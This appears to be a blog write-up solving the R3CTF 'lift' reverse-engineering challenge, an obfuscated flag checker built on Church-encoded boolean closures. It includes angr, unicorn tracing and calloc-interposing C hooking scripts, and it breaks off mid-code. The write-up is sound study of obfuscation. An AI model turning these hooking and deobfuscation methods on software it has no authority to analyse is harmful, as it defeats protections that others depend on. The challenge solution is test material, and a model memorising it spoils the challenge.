[{"content":"Lift Summary This is an obfuscated flag checker that validates our input and return whether it is correct or not. At a higher level, the checking logic is a combination of decision statement (if-statement) for each bit of the flag body.\nYou can download challenge here or https://github.com/r3kapig/r3ctf-2026/tree/master/lift\nInitial analysis The binary main function\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 s = \u0026#34;R3CTF{\u0026#34;; n = strlen(\u0026#34;R3CTF{\u0026#34;); printf(\u0026#34;Input flag: \u0026#34;); fflush(stdout); if ( fgets(s1, 0x200, stdin) \u0026amp;\u0026amp; (s1[strcspn(s1, \u0026#34;\\r\\n\u0026#34;)] = 0, v8 = strlen(s1), v8 == n + 33) ) { if ( !strncmp(s1, s, n) \u0026amp;\u0026amp; s1[v8 - 1] == 0x7D ) { v4 = *(_QWORD *)\u0026amp;s1[n + 8]; v6[0] = *(_QWORD *)\u0026amp;s1[n]; v6[1] = v4; v5 = *(_QWORD *)\u0026amp;s1[n + 24]; v6[2] = *(_QWORD *)\u0026amp;s1[n + 16]; v6[3] = v5; sub_214326(0, v6); return 2; } else { puts(\u0026#34;Fail...\u0026#34;); return 1; } } else { puts(\u0026#34;Fail...\u0026#34;); return 1; } The function checks the \u0026ldquo;R3CTF{\u0026hellip;}\u0026rdquo; flag format, extracts the 32-byte body inside the curly braces, and passes it into sub_214326\nSo sub_214326 is the main validation process, however it is insanely obfuscated something like this By looking at the decompilation, we can figure out that the binary virtualize the initial program by using multiple indirect calls. From that hides the CFG, the execution flow and the main process.\nAlright after searching several internal strings, I find two functions used for printing Correct and Fail which is sub_21EB44 and sub_21EB6D respectively. So the key is these two functions\nAt this point, there is two possible targets. Firstly we can try to deobfuscate the binary, recover the initial program and write a solve script for that. Secondly, we can directly solve the challenge by witnessing how input is parsing and transfering during the execution phase. I chose the latter method because I don\u0026rsquo;t know whether the former one would produces any undefined behaviour or not, like too many patterns or some kinds..\nTo begin with, there is a hypothesis that these obfuscation layers hide the main checking logic toward our input, so we need to find the exact pivot where the program access our flag and used it to control something or to calculate something we don\u0026rsquo;t know.\nThe fact that if our flag is specified, the program execution flow would be absolutely linear which means we could use angr to detect the splitting branch. From that we could clarify where is the first code stub uses our input\nScript\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 #!/usr/bin/env python3 import angr import claripy proj = angr.Project(\u0026#34;./chall\u0026#34;, auto_load_libs=False) base_addr = proj.loader.main_object.mapped_base print(f\u0026#34;Image base {base_addr:#x}\u0026#34;) state : angr.SimState = proj.factory.blank_state( addr=base_addr + 0x214326, add_options={ angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY, angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS, } ) # fake state state.regs.rbp = 0x7fffffffdc70 state.regs.rsp = 0x7fffffffda28 # argument setup buffer_addr = 0x7fffffffda30 state.regs.rdi = 0 state.regs.rsi = buffer_addr buf = [ claripy.BVS(f\u0026#34;inp{i}\u0026#34;, 8, explicit_name=True) for i in range(32) ] for i, b in enumerate(buf): state.memory.store( buffer_addr + i, b ) # flag = \u0026#34;aaaabaaacaaadaaaeaaafaaagaaahaaa\u0026#34; # for i, b in enumerate(flag): # state.solver.add(buf[i] == ord(b)) for i in range(1): state.solver.add(claripy.Extract((i % 8), (i % 8), buf[i // 8]) == (i \u0026amp; 1)) # first i need to see something fail = 0x21EB87 success = 0x21EB54 ins_counter = 0 # while len(s.active) == 1: # s.step() # ins_counter += 1 s = proj.factory.simgr(state) counter = 0 def callback(sm): global counter counter += 1 if counter % 200 == 0: print(f\u0026#34;Ran {counter}\u0026#34;) return len(sm.active) != 1 s.run(until=callback) print(f\u0026#34;Ran {ins_counter} instructions, Splitted to \u0026#34;) for state in s.active: print(hex(state.addr - base_addr), end=\u0026#34; \u0026#34;) print() one = s.active[0] for i, frame in enumerate(one.callstack): print(f\u0026#34;Frame #{i}: {frame.func_addr - base_addr:#x}, called by: {frame.call_site_addr - base_addr:#x}\u0026#34;) expr = claripy.simplify(one.regs.rax) print(expr) It produces something like\n0x21ea85 0x21ea7c Frame #0: 0x21ea41, called by: 0xf81b8 Frame #1: 0xf81b8, called by: 0xf860e Frame #2: 0xf8324, called by: 0xf92d8 Frame #3: 0xf890e, called by: 0x21c74a Frame #4: -0x400000, called by: -0x400000 \u0026lt;BV64 0x0 .. inp0[1:1]\u0026gt; The first bit of the first input byte is not be transformed (it is still inp0[1:1]). So it might be mathematically transformed into an intermediate buffer or it might just be used to compare at this address (and this will strengthen my following analyzing stuff). But we would\u0026rsquo;t care it, the key of this log is a function at 0x21ea41.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 _QWORD *__fastcall sub_21EA41(__int64 a1, char a2) { __int64 (__fastcall *sub_21E99D_1)(); // rax _QWORD *v4; // [rsp+18h] [rbp-8h] v4 = calloc(1u, 8u); if ( !v4 ) abort(); if ( (a2 \u0026amp; 1) != 0 ) sub_21E99D_1 = sub_21E99D; else sub_21E99D_1 = sub_21E9FE; *v4 = sub_21E99D_1; return v4; } I tried to set a concrete value for the first few bits, and they always stop at this function. Through my script, the second argument is a current input bit, and the first argument is some heap address might be come from calloc somewhere else. Let\u0026rsquo;s watch the caller stub\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 v4 = ((__int64 (__fastcall *)(_QWORD, _QWORD))((unsigned __int64)sub_21EA41 \u0026amp; 0x7FFFFFFFFFFFFFFFLL))( 0, *(_QWORD *)(a1 + 16)); v3 = (__int64)calloc(1u, 0x18u); if ( !v3 ) abort(); *(_QWORD *)v3 = sub_F8149; *(_QWORD *)(v3 + 8) = *(_QWORD *)(a1 + 8); *(_QWORD *)(v3 + 16) = v4; v2 = ((__int64 (__fastcall *)(_QWORD, _QWORD))((unsigned __int64)sub_21EA99 \u0026amp; 0x7FFFFFFFFFFFFFFFLL))( 0, *(_QWORD *)(a1 + 0x10)); if ( v3 \u0026gt;= 0 ) return (*(__int64 (__fastcall **)(__int64, __int64))v3)(v3, v2); else return ((__int64 (__fastcall *)(_QWORD, __int64))(v3 \u0026amp; 0x7FFFFFFFFFFFFFFFLL))(0, v2); The function sub_21EA99 also receive *(_QWORD *)(a1 + 0x10) as an argument so it is doing some thing with the input byte\n1 2 3 unsigned __int64 __fastcall sub_21EA99(__int64 a1, unsigned __int64 a2) { return a2 \u0026gt;\u0026gt; 1; } The function shifts the current input byte value by one before consuming the LSB. This strongly suggests that the program is trying to extract each bit of each flag byte. In summary, those aforemention stubs are preparing 256 structs (corresponding with 256 bits). If a current bit is odd sub_21E99D is selected, else sub_21E9FE.\nThese functions generate a callback function. After doing a few research on google and ChatGPT, I have known this is some kind of closure function where local variables are memorized to be used outside the function scope. An example on the internet is javascript, because C does not have this feature For example\n1 2 3 4 5 6 7 8 9 10 function closure() { let count = 0; return function() { count++; return count; } } let func = closure(); console.log(func()); // output 1; console.log(func()); // output 2; The function memorizes the count variable. In order to simulate this is in C, we can create a struct like this\n1 2 3 4 struct Closure { uint64_t callbacks; // our function void *env; // used to register local variable }; Then we can use it like this\n1 2 3 4 5 6 7 8 9 10 uint64_t creating_closure() { struct Closure *closure = calloc(1, sizeof(struct Closure)); closure-\u0026gt;env = calloc(1, 8); // this is used to store count *(uint64_t *)closure-\u0026gt;env = 2007; // we act like this is a local variable return closure; } struct Closure *cls = creating_closure(); printf(\u0026#34;%lld\\n\u0026#34;, *(uint64_t*)cls-\u0026gt;env); // it prints 2007 So it could be the main obfuscation type of this challenge. Go back to sub_21E99D and sub_21E9FE. These functions are used to generate a closure function\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 _QWORD *__fastcall sub_21E99D(__int64 a1, __int64 a2) { _QWORD *v3; // [rsp+18h] [rbp-8h] v3 = calloc(1u, 0x10u); if ( !v3 ) abort(); *v3 = sub_21E987; v3[1] = a2; return v3; } _QWORD *sub_21E9FE() { _QWORD *v1; // [rsp+18h] [rbp-8h] v1 = calloc(1u, 8u); if ( !v1 ) abort(); *v1 = sub_21E9EC; return v1; } Note that the second function also receive two arguments (in assembly it does). But it is not used, so IDA truncated them\nThe two constructors look similar, let\u0026rsquo;s watch their callback function\n1 2 3 4 5 6 7 __int64 __fastcall sub_21E987(__int64 a1) { return *(_QWORD *)(a1 + 8); } __int64 __fastcall sub_21E9EC(__int64 a1, __int64 a2) { return a2; } So both of them always initialize a closure with pre-setup argument, then trigger that function with another argument. This is a mess while solving because it will take an expensive effort just to find those arguments.\nThe former returns the captured argument while the latter returns a new passed argument. Let\u0026rsquo;s call it first argument and second argument generally So it could be something like this\nIf bit_i == 1 -\u0026gt; create a func(A, B) -\u0026gt; return A - let\u0026#39;s call a True-like function If bit_i == 0 -\u0026gt; create a func(A, B) -\u0026gt; return B - let\u0026#39;s call a False-like function After doing a few research and of course asking GPT. I have known that this is equivalent to Boolean-encoding Church (you can read more here https://en.wikipedia.org/wiki/Church_encoding).\nIn short, each bit looks like the condition for the selector: true chooses the first argument, and false chooses the second argument.\nThe program core idea is something like this\n1 2 3 4 5 6 7 8 9 10 11 if (bit_0 == 1) { if (bit_1 == 0) { if (bit_2 == 1) { ... } else { return True; } } else return False; } else return False It is just a random example it is not the program internal logic.\nSo the Boolean expression is used to virtualize this logic and hide the real if-statement structure, the order and many other things. In order to solve this challenge, we have to lift these whole virtualization layers into a visualized structure first.\nBack to the challenge, after the preparation process, I still don\u0026rsquo;t know what to do with these collect data. So I decided to trace the program instructions using unicorn to try to find some crucial hints\nScript\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 #!/usr/bin/env python3 from unicorn import * from unicorn.x86_const import * from capstone import * from capstone.x86_const import * from struct import * uc = Uc(UC_ARCH_X86, UC_MODE_64) with open(\u0026#34;./chall\u0026#34;, \u0026#34;rb\u0026#34;) as f: blob = f.read() # disassembly cache cache = {} md = Cs(CS_ARCH_X86, CS_MODE_64) for ins in md.disasm(blob[0x1100:0x21ED4D], 0x1100): cache[ins.address] = f\u0026#34;{ins.mnemonic} {ins.op_str}\u0026#34; puts_addr = 0x1050 calloc_addr = 0x10a0 text_addr = 0x1100 map_start = 0x1000 map_size = 0x21f000 uc.mem_map(map_start, map_size) uc.mem_write( text_addr, blob[0x1100:0x21ED4D] ) # Initialize stack stack_size = 0x100000000 stack_base = 0x7ffff0000000 uc.mem_map(stack_base, stack_size) uc.reg_write(UC_X86_REG_RSP, 0x7fffffffda28) uc.reg_write(UC_X86_REG_RBP, 0x7fffffffdc70) buffer_addr = 0x7fffffffda30 uc.reg_write(UC_X86_REG_RDI, 0) uc.reg_write(UC_X86_REG_RSI, buffer_addr) # Fill flag flag = b\u0026#39;aaaabaaacaaadaaaeaaafaaagaaahaaa\u0026#39; uc.mem_write(0x7fffffffda30, b\u0026#39;aaaabaaacaaadaaaeaaafaaagaaahaaa\u0026#39;) bit = [] for c in flag: x = c for _ in range(8): bit.append(x \u0026amp; 1) x \u0026gt;\u0026gt;= 1 def read_mem(uc: Uc, addr, sz = 8): return int.from_bytes(uc.mem_read(addr, sz), \u0026#39;little\u0026#39;) # Initialize heap hp_size = 0x5000000 hp_addr = 0x90000000 uc.mem_map(hp_addr, hp_size) # Simulate Libc\u0026#39;s calloc heap_top = hp_addr def libc_calloc(uc, addr, size, user_data): code = uc.mem_read(addr, size) if (size != 5) or (code[0] != 232): return call_addr = (addr + unpack(\u0026#34;\u0026lt;i\u0026#34;, code[1:5])[0] + 5) \u0026amp; 0xffffffff if call_addr != 0x10a0: return global heap_top, heap_size, hp_addr, hp_size arg0 = uc.reg_read(UC_X86_REG_RDI) arg1 = uc.reg_read(UC_X86_REG_RSI) heap_size = arg0 * arg1 if heap_size + heap_top \u0026gt; hp_addr + hp_size: print(\u0026#34;Too much calloc!\u0026#34;) exit(0) uc.mem_write(heap_top, b\u0026#39;\\x00\u0026#39; * heap_size) uc.reg_write(UC_X86_REG_RAX, heap_top) heap_top += heap_size uc.reg_write( UC_X86_REG_RIP, addr + 5 ) return uc.hook_add(UC_HOOK_CODE, callback=libc_calloc) def puts_libc(uc, addr, size, user_data): code = uc.mem_read(addr, size) if (size != 5) or (code[0] != 232): return call_addr = (addr + unpack(\u0026#34;\u0026lt;i\u0026#34;, code[1:5])[0] + 5) \u0026amp; 0xffffffff if call_addr != 0x1050: return print(\u0026#34;Calling puts...\u0026#34;) uc.reg_write( UC_X86_REG_RIP, addr + 5 ) pass uc.hook_add(UC_HOOK_CODE, callback=puts_libc) counter = 0 stream = open(\u0026#34;trace.log\u0026#34;, \u0026#34;a\u0026#34;) def tracer(uc, addr, size, user_data): global stream stream.write(f\u0026#34;{addr:#x} {cache.get(addr, \u0026#39;unknown\u0026#39;)}\\n\u0026#34;) uc.hook_add(UC_HOOK_CODE, callback=tracer) def invalid_mem(uc, access, address, size, value, user_data): rip = uc.reg_read(UC_X86_REG_RIP) print(f\u0026#34;Invalid memory access {address:#x} at {rip}\u0026#34;) return False uc.hook_add(UC_HOOK_MEM_INVALID, callback=invalid_mem) uc.emu_start(begin=0x214326, until=0x21E986) However things goes evil after this decision. It ruined my entire workspace because of huge quantity of assembly instructions (over 500M running in about 30 minutes, could be more but I stopped tracing).\nManually inspecting thousand of millions of instruction is not a clever option, although there might be a pattern and I can use script to extract pattern, clean log and lift to readable structure. It is still too risky because how I am supposed to know that I have covered enough cases? Additionally, it can be inconvenient because I could not examine the whole logs as well as running the script also a waste of time.\nDeobfuscation After a triage period, raw tracing is not good enough to solve the challenge. It is time for deobfuscating\nLet\u0026rsquo;s unpack the binary slowly. First of all we have known that this is a type of indirect call obfuscation, something like this\n1 2 3 4 if ( v201 \u0026gt;= 0 ) v415 = (*(__int64 (__fastcall **)(__int64, __int64))v201)(v201, v416); else v415 = ((__int64 (__fastcall *)(_QWORD, __int64))(v201 \u0026amp; 0x7FFFFFFFFFFFFFFFLL))(0, v416); Moreover, there is actually two type. The first type is triggering a callback with a memorized variable and new argument.The second one is running a normal functions. A signal for the normal function is the high bit set. We can see that whenever the program calls a normal function it will unset the high bit and call it. For example (func \u0026amp; 0x7FFFFFFFFFFFFFFFLL)(0, something)\nThat is all the challenge does, by arranging this type of indirect calls into a multiple layers it makes static analysis much harder, at least my skill issue prevented me :sob:\nTo be honest, in order to deobfuscate this challenge we have to intensively examine the assembly instructions, witness pattern, group instruction, lift them into a readable IR. I rarely do any challenges similar to this. I had done some obfuscation challenges with different vibes like VM, Packer, Shellcode, JIT, etc. I don\u0026rsquo;t mean it is easier or harder, it is just purely different or just my feelings?\nEnough talkings, let\u0026rsquo;s go back to the challenge. As I mentioned above, I didn\u0026rsquo;t use unicorn in the final solution. But I did try it to deobfuscate the binary a little bit before giving up\u0026hellip; So I wanna take a short discussion about that here also\nUnicorn Attempt First of all, the script is based on what I send above you can take a look there. So in order to witness how program processes with our Boolean expressions of the input, we need to save the returned heap address from 0x21ea41 and save it. We can do that by simply using HOOK in unicorn hehe\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 bit_map = {} rev_bit_map = {} index_counter = cur_value = 0 def bit_function(uc: Uc, addr, size, ud): if addr != 0x21EA97: return rax = uc.reg_read(UC_X86_REG_RAX) rbp = uc.reg_read(UC_X86_REG_RBP) global index_counter, cur_value char = int.from_bytes(uc.mem_read(rbp - 0x20, 8), \u0026#39;little\u0026#39;) \u0026amp; 1 index_counter += 1 cur_value |= (char \u0026lt;\u0026lt; ((index_counter - 1) % 8)) if index_counter % 8 == 0: print(chr(cur_value), end=\u0026#34;\u0026#34;) cur_value = 0 bit_map[index_counter - 1] = rax rev_bit_map[rax] = index_counter - 1 if index_counter == 256: for x, y in bit_map.items(): print(f\u0026#34;bit_{x} {y:#x}\u0026#34;) pass uc.hook_add(UC_HOOK_CODE, callback=bit_function) After the 256 bit objects is created, the program is no longer needs to read our original inputs anymore. Instead, it uses the heap-allocated address from our input. That is the reason why I store the heap address. To continue with, how could we able to watch where our expressions is used? Well by looking at assembly level we always see this pattern of closure function\nThe program load the closure into stack address then loading the first 8 byte to retrieve the callback function and call them. In unicorn, we can use UC_HOOK_MEMORY_READ to detect mov rcx, [rax] easily. After that we just need to check whether the loaded memory is one of our saved value in rev_bit_map or not\n1 2 3 4 5 6 def hook_load(uc: Uc, access, addr, size, value, ud): if addr not in rev_bit_map: return rip = uc.reg_read(UC_X86_REG_RIP) print(f\u0026#34;Loading function at {addr:#x} bit_{rev_bit_map[addr]} = {bit[rev_bit_map[addr]]} at {rip:#x}\u0026#34;) pass uc.hook_add(UC_HOOK_MEM_READ, callback=hook_load) The output will look like this\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 Loading function at 0x9001c5d8 bit_135 = 0 at 0x36174 Loading function at 0x9001c548 bit_134 = 1 at 0x36174 Loading function at 0x9001c4c8 bit_133 = 1 at 0x36174 Loading function at 0x9001c458 bit_132 = 0 at 0x36174 Loading function at 0x9001c3f8 bit_131 = 0 at 0x36174 Loading function at 0x9001c3a8 bit_130 = 1 at 0x36174 Loading function at 0x9001c368 bit_129 = 0 at 0x36174 Loading function at 0x9001c338 bit_128 = 1 at 0x36174 Loading function at 0x9001de20 bit_143 = 0 at 0x2d5b7 Loading function at 0x9001dd90 bit_142 = 1 at 0x2d5b7 Loading function at 0x9001dd10 bit_141 = 1 at 0x2d5b7 Loading function at 0x9001dca0 bit_140 = 0 at 0x2d5b7 Loading function at 0x9001dc40 bit_139 = 0 at 0x2d5b7 // truncated 99,999999% of the content lol Alright after running for around 5 mins, only two address is recorded which is 0x36174 and 0x2d5b7. Oh nice sound promising only 2 address hehehe\u0026hellip;\nSo the address 0x36174 is located in this function\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 __int64 __fastcall sub_3603A(__int64 a1, __int64 a2) { __int64 v4; // [rsp+28h] [rbp-18h] __int64 v5; // [rsp+30h] [rbp-10h] __int64 v6; // [rsp+38h] [rbp-8h] if ( a2 \u0026gt;= 0 ) v6 = (*a2)(a2, sub_35FB3 + 0x8000000000000000LL); else v6 = ((a2 \u0026amp; 0x7FFFFFFFFFFFFFFFLL))(0, sub_35FB3 + 0x8000000000000000LL); if ( v6 \u0026gt;= 0 ) v5 = (*v6)(v6, sub_35FEB + 0x8000000000000000LL); else v5 = ((v6 \u0026amp; 0x7FFFFFFFFFFFFFFFLL))(0, sub_35FEB + 0x8000000000000000LL); if ( *(a1 + 8) \u0026gt;= 0 ) v4 = (**(a1 + 8))(*(a1 + 8), v5); // \u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;------ THIS IS WHERE 0x36174 SHOW US else v4 = ((*(a1 + 8) \u0026amp; 0x7FFFFFFFFFFFFFFFLL))(0, v5); if ( v4 \u0026gt;= 0 ) return (*v4)(v4, a2); else return ((v4 \u0026amp; 0x7FFFFFFFFFFFFFFFLL))(0, a2); } So the pattern is pretty clear now, v4 is used to creating closure and initialize first argument which is v5. And then the program triggers the closure immediately with second argument a2\nSo I need a script to automatically trace these two argument, so we can use UC_HOOK_CODE to watch the value. It is equivalently for 0x2d5b7 but it is harder a little bit to see but you would able to figure out it, not at that hard\nScript\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 arg0 = arg1 = 0 def hook_create_closure(uc: Uc, addr, size, ud): global arg0, arg1 rbp = uc.reg_read(UC_X86_REG_RBP) if (addr == 0x36189) or (addr == 0x2D5D6): rdi = uc.reg_read(UC_X86_REG_RDI) rsi = uc.reg_read(UC_X86_REG_RSI) arg0 = rdi arg1 = rsi print(f\u0026#34;Creating closure at {addr:#x} arg {rdi:#x} \u0026#34;) pass uc.hook_add(UC_HOOK_CODE, callback=hook_create_closure) def hook_trigger_closure(uc: Uc, addr, size, ud): global arg0, arg1 rbp = uc.reg_read(UC_X86_REG_RBP) if addr == 0x36196: func = int.from_bytes(uc.mem_read(rbp - 0x18, 8), \u0026#39;little\u0026#39;) arg2 = int.from_bytes(uc.mem_read(rbp - 0x40, 8), \u0026#39;little\u0026#39;) print(f\u0026#34;Triggering closure {func:#x} arg {arg1:#x}, {arg2:#x}\\n\u0026#34; ) if addr == 0x2DBA7: func = int.from_bytes(uc.mem_read(rbp - 0xd0, 8), \u0026#39;little\u0026#39;) arg2 = int.from_bytes(uc.mem_read(rbp - 0x108, 8), \u0026#39;little\u0026#39;) print(f\u0026#34;Triggering closure {func:#x} arg {arg1:#x}, {arg2:#x}\u0026#34;) pass uc.hook_add(UC_HOOK_CODE, callback=hook_trigger_closure) The log will look like this\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Loading function at 0x9001c5d8 bit_135 = 0 at 0x36174 Creating closure at 0x36189 arg 0x9001c5d8 Triggering closure 0x9007da58 arg 0x8000000000035feb, 0x80000000001eb367 Loading function at 0x9001c548 bit_134 = 1 at 0x36174 Creating closure at 0x36189 arg 0x9001c548 Triggering closure 0x9007da80 arg 0x8000000000035feb, 0x80000000001eb4b8 .... .... Loading function at 0x9001de20 bit_143 = 0 at 0x2d5b7 Creating closure at 0x2d5d6 arg 0x9001de20 Triggering closure 0x9007ff10 arg 0x9007dd48, 0x90080018 Loading function at 0x9001dd90 bit_142 = 1 at 0x2d5b7 Creating closure at 0x2d5d6 arg 0x9001dd90 Triggering closure 0x90080f58 arg 0x9007dd48, 0x90081068 .... .... EVERYTHING\u0026hellip; uh sorry for caplocking. Everything seems to be normal JUST UNTIL NOW.\nFor 0x36174, the examined logs show that its argument is usually an internal function (like 0x35feb) in the binary related to True/False Boolean expression. However for 0x2DBA7, the arguments are heap-allocated address/object instead.\nThis is where unicorn feels impotent. If an argument is not a binary hardcode function/address but heap address, it would take more efforts to understanding the context. We must look at where it is called from, what is the related argument around that. For example it is a closure function? It is statically like everytime the binary runs with different input, it stores the same value etc\nMoreover, there is a critical point, unicorn can not handle dynamic object. If we receive an address or a pointer, we don\u0026rsquo;t know whether it is program related object or it is the selected object from one of our input Boolean expression. We can not mask an ID to an object, structure or a heap-allocated address that it is input dependent or program independent object. So tough right? So I gave up using unicorn here\nThe only solution I think about is building a handmade unicorn (written in C for speed) to handle those case by myself, this is seemed to be the most intuitive approach but would be painful like finishing minecraft hardcore world with half heart, full of cursed of binding of unbreakable leather armor and infinite blind effect.\nHooking Attempt Before reading, sorry if my explanation is confused, because I\u0026rsquo;m trying to describe about what I\u0026rsquo;m thinking in my brain while solving instead of providing a comprehensive writeup for the challenge\nAlright back from the challenge, this method is inspired by one of malware technique that I have learnt it is DLL injection. So basically the function will call our program function instead of the binary one leading to over control the execution.\nSo I decided to create a dummy Object that is the alternative for binary Boolean expression. So that we can easily trace how my object travel around the binary, how my object is used and is combined with others stuff. It also easier for me to distinguish from program internal object\nScript\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 #define _GNU_SOURCE #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;dlfcn.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; #include \u0026lt;stdbool.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;link.h\u0026gt; #include \u0026lt;sys/mman.h\u0026gt; #include \u0026lt;string.h\u0026gt; #define logging(fmt, ...) fprintf(stream, fmt, ##__VA_ARGS__) #define ull uint64_t #define HIGH 0x8000000000000000ULL #define MASK 0x7fffffffffffffffULL unsigned long long counter = 0; static void *(*real_calloc)(size_t a, size_t b) = NULL; static void *(*real_exit)(int code) = NULL; static ull fn_func_symbolic; static ull fn_partial_symbolic; static ull fn_choice_object; static ull fn_run_intermediate; static ull fn_run_intermediate_yes; static ull fn_run_intermediate_no; static ull fn_decoy = 0; static ull decoy() {printf(\u0026#34;Why can it access this?\u0026#34;);} static ull base_address = 0; FILE* stream = NULL; void *calloc(size_t x, size_t y) { if (real_calloc == NULL) real_calloc = dlsym(RTLD_NEXT, \u0026#34;calloc\u0026#34;); return real_calloc(x, y); } ull expr_cnt = 0; /* func is the callback function type 0 = bit constructor type 1 = yes argument type 2 = no argument and decide */ typedef struct { ull func; int bit_id; ull expr; ull yes, no; } Object; static bool isHigh(ull x) { return (x \u0026amp; HIGH) != 0; } static bool isTarget(ull addr) { if (!addr) return false; addr \u0026amp;= MASK; return ((addr - base_address) == 0x21EB44) || ((addr - base_address) == 0x21EB6D); } static bool is_in_text(ull addr) { addr \u0026amp;= MASK; return base_address \u0026lt;= addr \u0026amp;\u0026amp; addr \u0026lt;= base_address + 0x21ED4D; } static ull convertAddr(ull addr) { addr \u0026amp;= MASK; return is_in_text(addr) ? addr - base_address : addr; } static bool is_object(ull address) { if (isHigh(address) || !address) return 0; ull func = *(ull *)address; if (func == fn_func_symbolic || func == fn_partial_symbolic || func == fn_choice_object || func == fn_run_intermediate || func == fn_run_intermediate_yes || func == fn_run_intermediate_no || func == decoy) { return 1; } return 0; } static Object *create_object(ull function) { Object *x = calloc(1, sizeof(Object)); x-\u0026gt;func = function; return x; } static int func_type(ull address) { address \u0026amp;= MASK; uint8_t *array = (uint8_t *) address; if (array[0] != 0x55 || array[1] != 0x48 || array[2] != 0x89 || array[3] != 0xE5) { return -1; } int counter = 1; for (; ((array[counter - 1] != 0xC3) || (array[counter - 1] == 0xC3 \u0026amp;\u0026amp; (array[counter - 2] != 0x5D \u0026amp;\u0026amp; array[counter - 2] != 0xC9))) \u0026amp;\u0026amp; counter \u0026lt;= 101; counter++); if (counter == 79) { return 1; // true-like } if ((counter == 34) || (counter == 67)) { return 0; // false-like } return -1; } static int func_type_log(ull address) { address \u0026amp;= MASK; int counter = 1; printf(\u0026#34;%#llx\\n\u0026#34;, address, address - base_address); for (; (*(uint8_t *)address != 0xC3) \u0026amp;\u0026amp; counter \u0026lt;= 100; address++, counter++) { printf(\u0026#34;%x \u0026#34;, *(uint8_t *)address); } printf(\u0026#34;%d \\n\u0026#34;, counter); if (counter == 79) { return 1; // true-like } if ((counter == 34) || (counter == 67)) { return 0; // false-like } return -1; } static Object* choice_object(Object *self) { ull yes = self-\u0026gt;yes; ull no = self-\u0026gt;no; { bool a = isTarget(yes); bool b = isTarget(no); if ((a \u0026amp;\u0026amp; !b) || (!a \u0026amp;\u0026amp; b)) { printf(\u0026#34;Not good\u0026#34;); _exit(123); } if (a \u0026amp;\u0026amp; b) { // This is Correct/Fail function // if (convertAddr(yes) != 0x21EB44) logging(\u0026#34;expr_%d = Choice(expr_%d, %#llx, %#llx)\\n\u0026#34;, expr_cnt + 1, self-\u0026gt;expr, convertAddr(yes), convertAddr(no)); _exit(0); } } { // Here wee need to treat other functions as a boolean type // So it could be either TRUE/FALSE or Symbolic // Is it easier to treat True/False as Symbolic ? // To be easier lets assume there is no weird function apart from this type // So yes_func and no_func is Boolean // if yes_func or no_func is Object it would be different bool a = is_object(yes); bool b = is_object(no); if (a \u0026amp;\u0026amp; !b) { Object *cur = create_object(fn_func_symbolic); int btype = func_type(no); // logging(\u0026#34;%d\\n\u0026#34;, btype); if (btype == -1) { // so here btype = -1 which means it could be non-boolean function we need to handler this case // logging(\u0026#34;expr_%d %#llx %#llx\\n\u0026#34;, self-\u0026gt;expr, yes, convertAddr(*(ull *)no)); // we can still recursive until no is some case in this choice_object function // logging(\u0026#34;%#llx\\n\u0026#34;, convertAddr(*(ull*)no)); // cur-\u0026gt;func = fn_run_intermediate_no; // 